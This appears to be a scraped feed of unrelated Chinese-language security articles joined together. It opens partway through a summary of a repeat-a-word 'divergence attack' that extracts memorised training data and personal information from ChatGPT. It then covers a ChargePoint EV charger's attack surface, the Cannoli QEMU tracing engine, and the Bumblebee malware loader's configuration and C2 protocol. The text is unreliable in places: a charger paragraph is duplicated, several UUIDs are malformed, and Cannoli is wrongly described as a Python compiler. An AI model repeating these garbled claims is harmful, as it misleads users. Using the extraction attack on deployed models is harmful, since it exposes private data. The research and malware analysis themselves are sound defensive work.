“僅花費200美元對ChatGPT（gpt-3.5-turbo）輸入查詢，我們就能夠提取10000多個獨特的逐字記憶訓練示例。可想而知，如果有更多的預算，攻擊者就能提取更多的數據。”

最令人擔憂的發現之一是，記住的數據可能包括個人信息（PII），比如電子郵件地址和電話號碼。

我們為看起來像PII的子字符串標記了生成的15000個token。用正則表達式來標識電話和傳真號碼、電子郵件及實際地址，還使用語言模型來標識生成的token中的敏感內容。這有助於識別額外的畸形電話號碼、電子郵件地址和實際地址以及社交媒體賬號、URL、姓名和生日。然後，我們通過在AUXDATASET中查找提取的子字符串，驗證這些子字符串是不是實際的PII（即它們出現在訓練集中，而不是幻覺內容）。

總的來說，測試的生成token中有16.9%含有記住的PII，而含有潛在PII的生成的token中85.8%是實際的PII。這將引起嚴重的隱私問題，特別是對於使用含有敏感信息的數據集訓練的模型。

4.png

圖4

撰寫這篇論文的團隊還發表了一篇單獨的博文：https://not-just-memorization.github.io/extracting-training-data-from-chatgpt.html。

此外，研究人員在僅僅修補特定漏洞和解決模型中的底層漏洞之間做出了重要的區別。比如說，雖然輸入/輸出過濾器可能阻止特定的單詞重複漏洞，但它並不能解決更深刻的問題：模型記憶和可能暴露敏感訓練數據這一固有的傾向。這種區別突顯了保護AI模型的複雜性，而不是流於表面的修復。

研究人員表示，一方面我們需要做更多的工作，比如對訓練數據進行重複數據刪除和理解模型容量對記憶的影響。另一方面，還需要可靠的方法來測試記憶，特別是在高度關注隱私的應用設計的模型中。

技術細節核心方法是從各種模型中生成大量文本，並對照模型各自的訓練數據集檢查這些輸出，以識別記憶的內容。

這項研究主要側重於“可提取的記憶”。這個概念指的是攻擊者在不事先了解訓練集的具體內容下，能夠從模型中有效地恢復訓練數據。該研究旨在通過分析模型輸出與訓練數據的直接匹配來量化這種記憶。

研究團隊在各種模型上進行了實驗，包括GPT-Neo和Pythia等開源模型、LLaMA和Falcon等半開源模型以及ChatGPT等閉源模型。研究人員從這些模型中生成了數十億個token，並使用後綴數組有效地匹配訓練數據集。後綴數組是一種數據結構，允許在較大的文本語料庫中快速搜索子字符串。

對於ChatGPT，由於其會話性質和對齊訓練——這通常阻止直接訪問語言建模功能，研究人員採用了一種“偏離攻擊”，促使ChatGPT無數次重複一個單詞，直到偏離標準的響應模式。這種偏離經常導致ChatGPT吐露從訓練數據中記憶的序列。

5.png

圖5

針對ChatGPT“偏離攻擊”的例子：模型被促使重複說“book”，導致最初的準確重複，然後轉向隨機內容。文本輸出標以紅色陰影，表明k-gram與訓練數據集匹配的長度。較短的匹配（比如10個token的短語“I mean, it was dark, but,”）通常是巧合。然而，較長的序列（比如來自《现代童话》 系列的摘錄）不太可能是巧合，這表明來自訓練數據的直接記憶。

該研究通過檢查與訓練數據匹配的一小部分模型輸出來量化記憶率，他們還分析了獨特的記憶序列的數量，發現記憶率明顯高於之前的研究。

研究人員採用古德圖靈（Good-Turing）頻率估計來估計總記憶量。這種統計方法根據觀察到的頻率預測遇到新記憶序列的可能性，提供了一種從有限樣本中推斷總記憶量的穩健方法。

研究探討了模型大小與記憶傾向之間的關係。得出，更龐大、功能更強的模型通常更容易受到數據提取攻擊，這表明模型容量和記憶程度之間存在著關聯。研究人員建議，應該通過傳統軟件系統的視角看待語言模型，這需要我們改變對待語言模型安全分析的方式。

這個觀點勢必需要一種更嚴謹、更系統化的方法來確保機器學習系統的安全性和隱私性，這是人工智能安全領域需要邁出的一大步。

HireHackking

ChargePoint Home Flex是一款二級電動汽車充電站，專為終端用戶在家中使用而設計。該設備在其硬件中有一個最小的用戶界面，該設備採用移動應用程序進行安裝，並滿足消費者對設備的常規操作。

通常來講，該設備的攻擊面可以分為三類。

1.ChargePoint移動應用程序安裝人員在安裝ChargePoint Home Flex裝置時使用的ServicePro應用程序提供了一種攻擊途徑。

終端用戶在配置和使用ChargePoint Home Flex時使用的ChargePoint應用程序也提供了一個攻擊面。

2.ChargePoint Home Flex硬件該設備包括一個嵌入式Linux主機，通過Wi-Fi與互聯網上的主機進行通信，該單元還包含一個基於德州儀器MSP430微控制器的PCB。無線通信PCB基於Atmel CPU。最後，JTAG接口可以通過無線通信PCB訪問。

3.網絡攻擊面設備的軟件補丁是通過基於互聯網的空中傳送（OTA）更新提供的。移動應用程序用於本地通信的藍牙低能耗（BLE）終端可能會提供攻擊機會，與本地接入點的任何Wi-Fi通信都為攔截和操縱打開了機會。最後，該設備實現了開放式充電樁協議（OCPP）。該協議中的任何漏洞都將在充電器中暴露出來。

安全性研究卡巴斯基實驗室的研究員Dmitry Skylar對ChargePoint Home Flex進行了安全評估。

ChargePoint Home Flex移動應用程序ChargePoint提供兩種應用程序，可與Home Flex充電器一起使用，這兩個應用程序都通過藍牙低能耗（BLE）與ChargePoint Home Flex進行交互。

ChargePoint ServicePro應用程序會在終端用戶安裝設備時使用。此應用程序是使用React Native應用程序開發框架編寫的。這是一個基於JavaScript的開發框架，用於跨平台移動應用程序開發。

以消費者為中心的ChargePoint移動應用程序旨在供最終用戶使用，以管理他們的充電偏好。

雖然我們沒有徹底調查這些應用程序的漏洞或其他漏洞，但移動應用程序中的漏洞是一個重要的攻擊表面。

ChargePoint Home Flex藍牙低能耗ChargePoint Home Flex使用藍牙低能耗與移動應用程序進行通信。趨勢科技的研究人員使用自定義BLE掃描工具找到了充電器提供的終端。

BLE規範中定義了以下服務：

1.BLE服務設備信息：

1.1系統ID；

1.2 型號字符串：CPH50；

1.3序列號字符串；

1.4 程序修訂字符串：5.5.2.5；

研究人員在掃描被測設備（DUT）時觀察到以下BLE服務和功能：

2.設備詳細信息服務：274BC3A3-1A52-4D30-99C0-4DE08FFF2358：

Get/Set PowerSourceType：8D4D6AF5-E562-DC7-85AD-842FBF321C87特點；

Get/Set PowerSourceAmps：F24F7C35-A5FD-4B98-BCA5-50BB5DC8E7CD特點；

Get/Set Apply Settings Status：5597DD46-7EDD-40CC-9904-B693DC05E19特點；

Get/Set UserId：E79C86D4-8106-4908-B602-5B61266B2116特點；

Get/Set Latitude：85F296FC-3152-4EF0-84CB-FAB8D05432E4特點；

Get/Set Longitude：9253A155-701A-4582-A0CF-5E517E553586特點；

Get/Set NOSStatus：C31D51E5-BD61-4D09-95E2-C0E34ED1224C特點；

Get/Set Power Source：C1972E92-0D07-4464-B312-E60BA5F284FC特點；

3.無線上網服務DFAF46E7-04F9-471C-8438-A72612619BE9

Get/Set NextWIFIAccessPoint：E5DEB4B-4DAC-4609-A533-B628E5797E91特點；

Get/Set CurrentSSID：EB61F605-DED9-4975-9235-0A5F4941F32特點；

Get/Set WIFISecurityType：733ED10A-CD1B-43CA-A0C2-6864C8DCF7C1特點；

Get/Set WiFi Configuration：25A03F00-1AF2-44F0-80F2-D6F771458BB9特點；

Get/Set ApplyStatusCode：3BE83845-93E461E-8A49-737F790EBC4特點；

Get/Set Always Empty Response Characteristic：CED647D7-E261-41E2-8F0D-35C360AAE269特點；

3.未知服務B67CB923-50E4-41E8-BECC-9ACD24776887：Get/Set Always NULL Byte Characteristic，7AC61302-58AB-47BA-B8AA-0094DB0B9A1特點；

趨勢科技的研究人員使用自定義的BLE掃描儀對這些BLE終端進行了有限的探測。此外，趨勢科技的研究人員對最終用戶ChargePoint應用程序進行了逆向工程。上表中確定的名稱是根據對Android應用程序代碼的理解推斷出來的。

ChargePoint Home Flex硬件詳細信息ChargePoint Home Flex包括位於設備shell內的兩塊電路板，分別是計量板和CPU板。

計量板包含一個MSP430微控制器。它終止了與電源的電源連接，還終止了最終用戶連接到電動汽車的充電電纜。計量板還通過堆疊在計量板右上方的PCB連接器為CPU板供電。計量板在PCB絲網標記上標記有Panda AC 50標識符，它擁有一個MSP430微控制器。

CPU板承載ATMEL Arm CPU、Wi-Fi無線電和藍牙LE無線電，CPU板在PCB絲網標記上標記為CPH-50 CPU。

以下是一些詳細介紹ChargePoint家用Flex計量板和CPU板的圖片:

1.png

CPH-50 CPU板正面

2.png

CPH-50 CPU板背面

3.png

ChargePoint Home Flex計量板正面

4.png

ChargePoint Home Flex計量板背面

ChargePoint Home Flex嵌入式Linux卡巴斯基實驗室先前的研究表明，該充電器使用Linux操作系統。充電器硬件有一個確定為“Panda CPU”板，它實現了充電器上所有可訪問的攻擊面。硬件包括一個ARM CPU，該設備提供一個JTAG調試接頭。先前的研究表明，這種JTAG接頭可以用來獲得shell對充電器的訪問權限。

在對充電器的初步評估中，趨勢科技的研究人員使用了一個捕獲測試網絡來詢問ChargePoint Home Flex。測試網絡有一個運行的Wi-Fi接入點，該接入點連接到運行一組服務的網絡，該服務被配置為模擬充電器所需的服務。該網絡具有一個DNS服務器，該網絡有一個DNS服務器，它被配置為使用測試網絡中的IP地址響應所有DNS A-record查詢。

在測試過程中，研究人員觀察了DUT進行的DNS查詢，並用其試圖連接的所有觀察到的主機名配置了DNS服務器。此外，測試網絡還包括一個web服務器，該服務器被配置為響應DUT提出的網絡請求。 DUT已向以下域發出DNS請求：ba79k2rx5jru.chargepoint.com；

homecharger.chargepoint.com；

publish.chargepoint.com；

研究人員指出，由於TLS證書頒發機構不匹配，向web服務器發起的TLS連接無法建立。強制執行TLS證書頒發機構匹配是一種安全優勢。

ChargePoint Home Flex通過SSH連接到TCP端口343上的服務器ba79k2rx5jru.ChargePoint.com。該研究網絡包括一個允許對任何用戶進行身份驗證的SSH服務器。當充電器啟動與測試網絡中允許的SSH服務器的連接時，研究人員注意到DUT的SSH客戶端啟動了從SSH服務器轉發到充電器上的TCP端口23的TCP端口。這與卡巴斯基研究報告中提到的結果相吻合。

ba79k2rx5jru.chargepoint.com

homecharger.chargepoint.com

publish.chargepoint.com

研究人員指出，由於TLS證書頒發機構不匹配，向web服務器發起的TLS連接無法建立。強制執行TLS證書頒發機構匹配是一種安全優勢。

ChargePoint Home Flex在TCP端口343上通過SSH連接到服務器ba79k2rx5jru.chargepoint.com。研究網絡包括一個允許對任何用戶進行身份驗證的授權SSH服務器。當充電器啟動連接到測試網絡中的許可SSH服務器時，研究人員注意到來自DUT的SSH客戶端啟動了一個TCP端口，從SSH服務器返回到充電器上的TCP端口23，這與卡巴斯基研究報告中提到的結果相符。

總結雖然這些可能不是ChargePoint Home Flex設備上唯一可用的攻擊面，但它們代表了攻擊者可能用來利用該設備的最可能途徑。

HireHackking

內部機制9.png

MempipeMempipe是一種超高速的IPC機制，它使Cannoli能夠第一時間工作。它提供了一個低延遲的API，用於通過Linux上的shm*() API將緩衝區從一個進程傳輸到另一個進程。具體來說，它是一種基於輪詢的IPC機制，這意味著使用者在新數據到達之前對郵箱進行熱輪詢。

你可以在mempipe/src/lib.rs 中找到所有代碼。其核心有兩個結構，一個SendPipe 和一個RecvPipe。

Const泛型SendPipe和RecvPipe都使用兩個Const泛型，分別是CHUNK_SIZE和NUM_BUFFERS泛型。 CHUNK_SIZE以字節為單位定義每個緩衝區的大小。這個塊的大小越小，需要進行的傳輸就越多，緩存中的數據就越多。這實際上是緩衝區的大小，該緩衝區將被數據填滿，填滿時會自動刷新。

NUM_BUFFERS泛型指定內存管道中的緩衝區數量。實際上，這就是啟用來自QEMU 的非阻塞數據流的原因。當QEMU向另一個緩衝區生成數據時，用戶可以處理一個緩衝區。建議將此值設置為大於1，否則QEMU將在處理緩衝區時阻塞，但不要設置得太高，否則只會增加可能用於流媒體的內存數量，導致更多的緩存不穩定。

這兩種泛型都是可調的，會顯著影響性能。就我個人而言，我發現將CHUNK_SIZE設置為L1緩存的1/2(在大多數x86系統上是16kib)，將NUM_BUFFERS設置為4似乎是一個不錯的基準。

管道創建創建一個SendPipe 很簡單。你調用SendPipe:create() 並返回一個SendPipe。在內部，它生成一個隨機的64 位數字，用作管道標識符。然後它以這個管道ID 作為文件名創建一個共享內存文件，設置共享內存的長度，並將其映射為可讀寫。我們還在共享內存中放置了一個小的標頭文件，這樣我們就可以確保當我們連接到管道時，它與我們期望的參數匹配。

打開管道創建RecvPipe 也很簡單，只需使用分配給SendPipe 的UID（可從SendPipe:uid() 獲得）調用RecvPipe:open()。然後，確保RecvPipe的Const泛型與SendPipe的Const泛型相匹配(包括在共享內存的元數據中)，最後，它將映射內存並返回管道。

數據產生要從SendPipe生成數據，你需要調用SendPipe:alloc_buffer。這給了用戶一個只寫的ChunkWriter，它可以用ChunkWriter:send來寫。調用alloc_buffer會在熱循環中阻塞，直到緩衝區可用。重要的是，用戶要以盡可能快的速度使用數據，以防止發送方停頓太長時間。使用正確的可調參數，用戶應該總是領先於運營程序，因此alloc_buffer 應該立即有效地返回。

當通過alloc_buffer 獲得緩衝區時，應保證為發送進程所有，因此我們可以安全地可變地寫入它。內存是未初始化的，但沒關係，因為ChunkWriter 只提供寫入訪問，因此讀取未初始化的內存是不可能的。

數據處理在撰寫本文時，我對使用數據的最終設計並不滿意。首先，你從RecvPipe:request_ticket 請求一個票據。這有效地讓管道知道你對數據感興趣，並為你獲取將要處理的數據的唯一ID。然後，你調用RecvPipe:try_recv 來使用票據，並將返回新票據（如果數據已處理）或舊票據（如果recv 沒有任何數據）。 try_recv 是非阻塞的。如果不存在數據，則立即返回。

票據模型有點奇怪，但它允許我們循環分配用戶線程到緩衝區。這會在處理線程之間盡可能均勻地分配處理負載。它也很重要，因為它決定了正在處理的數據的順序，這對於我們有序的跟踪要求很重要。

我想找到對這個API的改進，但我還沒有這麼做，主要是因為它工作得很好，速度超級快。

QEMU補丁Cannoli 包含一些QEMU 的補丁。你可以在文件qemu_patches.patch 的repo 中找到這些內容。這些是目前最新的QEMU eec398119fc6911d99412c37af06a6bc27871f85 的補丁，但是它們被設計為在QEMU 版本之間可以移動。

這些補丁向QEMU引入了大約200行代碼。

QEMU 掛鉤當-cannoli 命令行參數傳入QEMU 時，它會觸發Cannoli 共享庫的dlopen()。然後它獲取Cannoli 條目點的地址（稱為query_version32 或query_version64）。 32 位或64 位後綴不是指共享庫本身的位數（目前所有東西都只支持x86_64 作為主機/JIT 目標），而是指被模擬的目標的位數。所有的掛鉤都設計為以不同的方式處理32 位和64 位目標，因為這會減小數據流的大小，從而在模擬32 位目標時最大限度地提高性能。

調用query_versionX 返回對Cannoli 結構的引用，該結構定義了QEMU 將在某些事件上調度的各種回調。

登記預訂因為我們將在幾乎每條目標指令上生成數據，所以我們實際上希望在寄存器中存儲少量關於跟踪緩衝區和長度的元數據。在內存中執行此操作將非常耗能，因為它將導致對每個目標指令進行多個內存訪問。

因此，我們對tcg_target_reg_alloc_order打補丁，以從QEMU寄存器調度器中刪除x86_64寄存器r12、r13和r14。這可以防止QEMU在其JIT中使用它們，從而使我們在JIT執行期間獨占地控制這些寄存器。這些寄存器是基於SYS-V ABI被調用保存的寄存器。這一點很重要，因為QEMU可以在JIT中調用C函數，我們希望確保在發生這些調用時保留寄存器。

JIT進入和退出由於我們保留了對一些寄存器的控制權，因此我們需要確保這些寄存器在QEMU JIT 進入和退出時被正確設置和保存。 JIT 條目和出口是QEMU 從運行QEMU C 代碼過渡到運行生成的JIT 代碼，再回到退出QEMU 的邊界。這些條目和出口是在tcg_target_qemu_prologue() 函數中為每個JIT-target-architecture 定義的。這有效地設置上下文、調用JIT 並恢復上下文。對於熟悉操作系統開發的人來說，這實際上是一種有效的上下文切換。

我們在這裡添加了一些掛鉤，允許我們調用Rust 共享庫中的代碼。具體來說，就是jit_entry() 和jit_exit() 函數。這些在JIT 的上下文中被調用，並提供對r12、r13 和r14 寄存器的訪問，以便可以在每次JIT 進入和退出時保存和恢復它們。

在我們的示例中，$entry 函數(cannoli/cannoli_server/src/cannoli_internals.rs) 從mempipe中分配一個緩衝區，在r12 中設置一個指向它的指針，在r13 中設置一個指向它末尾的指針，然後返回。這將通過執行JIT建立r12和r13的狀態。

$exit函數決定JIT產生的字節數(由r12中的當前指針表示，它已經是高級了)，並通過IPC將數據發送給用戶。

加載和存儲對於加載和存儲，我們鉤住了tcg_out_qemu_ld()和tcg_out_qemu_st()。這些函數是特定於x86_64- jit目標的函數，它們為到來賓地址空間的內存操作提供了捕獲所有接收器(catch-all sink)，用於各自的加載和存儲。

指令執行對於指令執行，我們掛鉤tcg_gen_code()，特別是INDEX_op_insnstart() QEMU TCG 指令，它表示指令開始執行的地址。

JIT shellcode 注入內存和指令掛鉤都做同樣的事情。它們在Rust代碼中調用一個回調函數，該回調函數被傳遞給qemu提供的緩衝區和長度。然後，此回調可以使用直接發送到JIT 流中的shellcode 填充QEMU 提供的緩衝區。這為我們的Rust 庫提供了將任意代碼注入JIT 流的能力。如果你是高級用戶，則可以通過為不同的指令提供不同的掛鉤來做一些非常酷的事情。

Cannoli服務器Cannoli 服務器（通過掛鉤加載到QEMU 中）已經預定義了一些掛鉤。這些是指令和內存操作掛鉤。

Cannoli 的整個流程（在其默認配置中）是在JIT 條目分配一個IPC 緩衝區，在JIT 期間填充它，如果它填滿了就刷新它，在JIT退出時也刷新它。

默認的指令和內存掛鉤執行最少的組裝，以確保跟踪緩衝區中有足夠的空間，刷新它（通過回調到Rust，如果它是滿的，它可以在這裡調用Rust，因為這些事件“很少”發生，例如。每幾千條目標指令），最後將內存或指令執行指令以相對簡單的格式存儲到跟踪中。

Cannoli 服務器共享對象包含所有掛鉤和代碼的兩個副本，這樣同一個共享對象就可以同時用於32位和64位目標，而無需重新編譯！

這些掛鉤直接寫入mempipe 提供的緩衝區，就這麼簡單！任何更複雜的內容都將嚴重損害性能！

Cannoli最後，Cannoli 本身就是一個用戶庫。由於我們每秒可能處理數十億條指令，所以我們將所有Cannoli設計成使用線程。這允許你在多個線程上執行相對複雜的跟踪使用和處理，同時不會影響QEMU單線程任務。

這很簡單。 Cannoli 創建請求的線程數，並在那些等待數據的線程上旋轉。使用mempipe 票據系統，每個線程都要排隊等待數據進入。當緩衝區出現他們的票號時，該線程處理來自QEMU 的數據。

由於並行處理意味著跟踪不再是有序的，我們允許用戶為每個事件返回他們自己的結構，然後在排序後將其返回給他們。這允許用戶進行線程處理，直到他們需要排序。

總結盡可能快地將數據從一個進程傳輸到另一個進程是一個非常困難的問題。關於處理器的詳細信息，如緩存一致性，對於獲得高吞吐量至關重要，特別是在希望盡可能防止生成線程阻塞時。

HireHackking

Cannoli是一款面向qemu用戶的高性能跟踪引擎，是一個Rust 編寫的Python(Python 3.6.5) 編譯器，旨在評估對性能有負面影響的Python 語言特性。它可以記錄所執行的PC 以及內存操作的軌跡。

Cannoli 旨在以最小的QEMU 執行干擾記錄這些信息。這意味著QEMU 需要產生一個事件流，並將它們移交給另一個進程來處理更複雜的事件分析。在QEMU JIT執行期間進行分析會大大降低執行速度。

Cannoli可以每秒處理數十億條目標指令，可以處理多線程qemu-user應用程序，並允許多個線程使用來自單個QEMU線程的數據以並行處理跟踪。

性能要求QEMU中有一個trace模塊，可以對於一些函數進行跟踪，例如qemu_malloc， qemu_free等，對於QEMU本身的調試很用幫助。跟踪的一個大問題就是性能。許多簡單的解決方案(如使用Unicorn進行模擬)可能導致每秒只能得到100萬條左右的模擬指令。這聽起來可能很多，但是現代的x86處理器通常每個週期執行2條指令。如果你在4 GHz處理器上運行，運行或啟動需要1秒，通常會執行50 -100億條指令。簡而言之，以每秒1000 萬條指令的速度跟踪這樣的事情對於任何開發或研究週期來說都是非常緩慢的。

僅僅試圖獲取PC 的執行指令地址的完整日誌通常就很困難，更不用說記錄所有內存訪問。

這就不得不用到Cannoli了！

Cannoli 能夠執行QEMU 的完整跟踪，比基本QEMU 執行速度降低約20-80%。這意味著每秒可以獲得大約10 億條目標指令。不過，這會因你的CPU 時鐘頻率、系統噪聲等而有很大差異。我們稍後會詳細介紹性能，因為存在很多細微差別。 Cannoli 經過精心設計，可以將超過20 GiB/s的數據從單個QEMU 線程流式傳輸到多線程跟踪分析過程。

QEMU 補丁作為用戶，最好打個補丁，其中包含大約200 行新添加的內容。這些都是用#ifdef CANNOLI進行控制的，這樣，如果CANNOLI沒有定義，QEMU構建時就完全等同於沒有任何補丁。

這些補丁與用戶沒有太大的相關性，只是知道它們向QEMU添加了一個-cannoli標誌，該標誌期望獲得到共享庫的路徑。這個共享庫被加載到QEMU中，並在JIT的不同位置調用

要打補丁，運行執行以下命令：

git am qemu_patches.patch

Cannoli服務器加載到QEMU 中的共享庫稱為Cannoli 服務器。該庫在cannoli_server/src/lib.rs 中公開了兩個基本回調函數。

3.png

這些掛鉤為用戶提供了一個機會來決定是否應該掛鉤給定的指令或內存訪問。返回true（默認值）會導致檢測指令。返回false 意味著沒有向JIT 添加任何檢測，因此QEMU以高速模擬的方式運行。

當QEMU提取目標指令時，將調用此API。在這種情況下，提取是模擬器的核心操作，它在其中反彙編目標指令，並將其轉換為IL 或JIT 到另一個架構中執行。由於QEMU緩存它已經提取的指令，這些函數被稱為'rarely'(與指令本身執行的頻率有關)，因此這是你應該放入智能邏輯以過濾掛鉤內容的位置。

如果掛載少量指令，該工具的性能消耗幾乎為零。 Cannoli旨在為完全跟踪提供非常低的消耗，但是如果你不需要完全跟踪，你應該在這個階段進行過濾。這從一開始就防止了JIT被檢測到，並為最終用戶提供了一種過濾機制。

Cannoli客戶端然後Cannoli 有一個客戶端組件，客戶端的目標是處理QEMU 產生的海量數據流。此外，Cannoli 的API 在設計時考慮了線程，因此單個線程可以在qemu-user 中運行，並且可以通過線程化分析來完成對該流的複雜分析，同時在QEMU 本身中獲得最大的單核性能。

Cannoli 公開了一個標準的Rust 特徵樣式接口，你可以在你的結構上實現Cannoli。作為這個特徵的實現者，你必須實現init。這是你為單線程可變上下文Self 以及多線程共享不可變上下文Self:Context 創建結構的位置。

然後，你可以選擇實現以下回調：

4.png

這些回調是相對不言自明的，除了線程方面。三個主要的執行回調exec、read 和write 可以從多個線程並行調用。因此，這些不是按順序調用的。這是應該進行無狀態處理的地方。它們也只有對Self:Context 的不可變訪問，因為它們是並行運行的。這是進行任何不需要知道指令或內存訪問的順序/順序的處理的正確位置。例如，應在此處完成從pc 轉換為符號+ 地址的符號應用，以便你可以進行符號化跟踪。

所有主要的回調，exec、read 和write，都返回一個Option

然後，該跟踪通過跟踪回調完全按順序向用戶公開。跟踪回調函數是從各種線程調用的，例如，你可能在不同的TID 中運行，但是，它是否確保始終按順序和相對於執行的順序調用。因此，你可以獲得對self 的可變訪問，以及對共享Self:Context 的引用。

我知道這是一個奇怪的API，但它有效地允許並行處理跟踪，直到你絕對需要它是連續的。我希望它不會讓最終用戶感到困惑，但是處理10億條指令/秒的數據需要在消費者端進行線程處理，否則QEMU就會成為瓶頸！

注意：除非另有說明，否則此處的性能數據是基於我的Intel(R) Xeon(R) Silver 4310 CPU @ 2.10GHz。啟用超線程，啟用turbo，128 GiB RAM @ 2667 MHz w/8內存通道。

在高層次上，整個設計圍繞著大量數據的運營程序（在JIT 中運行的QEMU 線程）。對於Cannoli，我們專門針對QEMU 的QEMU 單線程吞吐量進行優化，以便我們可以對長時間運行或大型進程（如Web 瀏覽器）進行內省。

這與縮放不同，在縮放中你並不真正關心單個線程的性能，而是整個系統。在我們的示例中，我們希望支持每秒從單個QEMU 線程流式傳輸數十億條指令，同時使用線程用戶對這些數據進行相對複雜的分析。

基本基准在examples/benchmark中，你可以找到一個運行小mipsel二進製文件的基準，該二進製文件只是在一個循環中執行一堆nop。這意味著對PC跟踪的性能進行基準測試。

要使用此基準，請啟動基準客戶端：

cdexamples/benchmarkcargorun--release然後使用cannoli'd QEMU 運行基準測試！

/home/pleb/qemu/build/qemu-mipsel-cannoli~/cannoli/target/release/libcannoli_server.so./benchmark在示例中，我得到以下信息（在我的例子中，我使用了benchmark_graph）。

7.png

在單個QEMU線程上跟踪大約每秒22億條指令。

Mempipe在低性能消耗的情況下獲得這種級別的跟踪需要一些非常獨特的設計。 Cannoli的核心是一個名為mempipe的庫。在高層次上，這是一種延遲極低的共享內存IPC機制。

最重要的是，JIT 掛鉤的設計是盡可能地減少消耗，特別注意分支預測、代碼大小（用於減少icache 污染）等細節，並註意目標架構的位數以減少運行32 位目標時產生的數據量。

事實上，你會發現幾乎所有的API，除了高級Cannoli 特徵，利用Rust 宏定義相同代碼的兩個副本，一個用於32 位目標，一個用於64 位目標。這略微增加了代碼複雜性，但當我們飽和內存帶寬時，我們希望特殊情況下，32位目標產生的有效數據只有1/2小指針大小。

核心mempipe IPC 機制允許在適合L1 緩存的進程之間傳輸緩衝區。由於這些緩衝區非常小，IPC 數據包的頻率非常高。這很難實現。我可以對1字節的有效負載每秒進行大約1000萬次傳輸。這有效地飽和了英特爾芯片對緩存一致性通信量所能做的事情。

緩存一致性如果你不熟悉緩存一致性，那麼你的處理器就是這樣做的，以確保內存在所有處理器上都是相同的值，即使它存儲在多個緩存中。

簡單的模型是MESI 模型。這定義了每個緩存行可以處於的狀態。

Modified ——存儲在高速緩存行中的數據是唯一準確的內存副本；

Exclusive ——存儲在緩存行中的數據是乾淨的（緩存行和內存中的數據相同），這是系統上緩存行中內存的唯一副本；

Shared ——存儲在高速緩存行中的數據是乾淨的，並且系統上有多個不同的高速緩存存儲相同的信息；

Invalid——在軟件層面對我們沒有任何意義，它只是意味著緩存行未使用；

8.png

現在，現代處理器使用稍微複雜一些的緩存一致性模型，但我們在這裡不做深入探討。本質上是一樣的。

需要注意的是，任何時候內核需要同步它們的緩存，它們需要訪問L2緩存，有時甚至需要訪問內存。

進入修改狀態需要大量的性能消耗。想想看，為了獲得對內存的獨占訪問，你必須有效地使用鎖來獲得控制。從硬件的角度來看，你必須告訴其他所有的核心使其對給定行的緩存無效，並且在其他核心這樣做之前你不能獲得所有權。這實際上類似於執行Mutex:lock()。

然而，從專用到修改是便宜的。這是專用MESI 狀態的全部意義所在。它允許處理器知道它在轉換到修改時不必通知其他內核，因為它已經知道是內存的唯一副本。

之所以談這個，是因為在進行IPC 時，緩存一致性很重要。至關重要的是，在我們的熱循環中，我們不會導致緩存一致性流量。從更高的層次上來說，這意味著我們需要能夠通過只讀方式對所有數據結構進行熱輪詢。這允許多個用戶線程輪詢郵箱（例如，所有用戶都在輪詢處於共享狀態的緩存行）。當產生一個完整的緩衝區時，才會消耗寫入內存的緩存一致性。運營程序刷新緩衝區的行為將導致所有用戶核心的緩存失效，並且他們必須在後續訪問時通過L2 獲取內存。此獲取也必須將運營程序的緩存狀態從modified更改為shared。

因此，我們設計了mempipe 庫來輪詢一組郵箱，該郵箱保證與正在傳輸的數據位於不同的緩存行上。如果我們將傳輸緩衝區與郵箱放在同一緩存行上，那麼將會出現嚴重的緩存不穩。

HireHackking

年初，Bumblebee加載程序的活動激增，由於其與幾個著名的惡意軟件家族有關，因此引起了安全研究人員的注意。

Bumblebee一直在快速迭代，其加載系統在幾天內經歷了兩次徹底的更新，首先是從使用ISO格式文件到包含powershell腳本的VHD格式文件，然後再恢復原貌。

Bumblebee服務程序在6月前後發生的行為變化表明，攻擊者可能已經將他們的重點從大規模監測惡意軟件轉向了攻擊盡可能多的受害者。

儘管該攻擊包含一個名為group_name的字段，但它可能不是一個與集群相關的活動的良好示例：具有不同group_name值的示例顯示了類似的行為，這可能表明同一個攻擊者同時運營多個group_name。加密密鑰的情況並非如此：不同的加密密鑰通常意味著不同的行為。

Bumblebee的有效負載因受害者類型而異。受感染的獨立計算機可能會受到銀行木馬或信息竊取者的攻擊，而組織網絡可能會受到更先進的後期利用工具（如CobaltStrike）的攻擊。

技術分析Bumblebee加載程序通常以類似於DLL的二進製文件的形式出現，並使用自定義打包程序打包。此DLL的傳播方法似乎會隨著攻擊者而異。目前最流行的方法是將打包的DLL直接嵌入另一個文件（通常是ISO）中，在6月份的一段短暫時間內，惡意軟件的操作人員嘗試使用VHD文件，執行PowerShell下載並解密打包的DLL本身（用一個非常不同的打包程序打包）。這種趨勢似乎已經消失，現在可以再次在第一階段文件中直接找到DLL，無論是ISO還是VHD。

一旦解壓，Bumblebee將執行檢查，以避免在沙箱或分析環境中執行，負責這項工作的大部分代碼都是開源的，直接從Al-Khaser項目中提取出來。如果避開安全監測，Bumblebee將繼續將其配置加載到內存中。這是通過從它的.data部分加載四個指向連續加密配置結構中的四個不同緩衝區的指針來實現的。第一個指向一個80字節的部分，它存儲一個RC4 ascii密鑰(在我們所觀察到的所有示例中都要短得多)。其他三個指針指向兩個80字節的部分和一個1024字節的部分，所有這些部分都包含隨後使用上述RC4密鑰解密的數據。

解密後，大多數示例中的第一個80字節緩衝區僅包含數字“444”，惡意軟件沒有使用這個數字，所以它的意義不清楚。第二個緩衝區包含一個被惡意軟件標記為group_name的ASCII碼。最後，1024字節塊包含一個命令和控制服務程序列表（其中大多數通常是假的）。

1.webp.jpg

Bumblebee加密配置

Bumblebee通過連接一些不可變機程序參數(在本例中為機程序名和GUUID)的常用方法計算特定於機程序的偽隨機受害者ID(內部命名為client_id)，然後計算結果的哈希值(在本例中為MD5摘要)。

利用這些數據和從受害系統收集到的其他特點，Bumblebee以JSON格式構建了CC簽入，如下所示：

2.png

該字符串使用之前配置時使用的相同的RC4密鑰加密，並以25秒到3分鐘的隨機延遲重複發送到其C2服務程序，而不管服務程序是響應還是關閉。來自命令和控制服務程序的響應也是JSON格式，也使用相同的RC4密鑰加密。響應本身的內容自然是不同的，例如，可以是一個空響應:

3.png

或者一些要注入或執行的負載：

4.png

在接收有效負載的示例中，響應的結構將包含json任務部分中的特點列表，每個特點都有一個命令和一個有效負載。每個特點都將包含一個任務字段，其中包含要執行的命令的名稱，以及一個名為task_data的部分中一個base64編碼的有效負載。

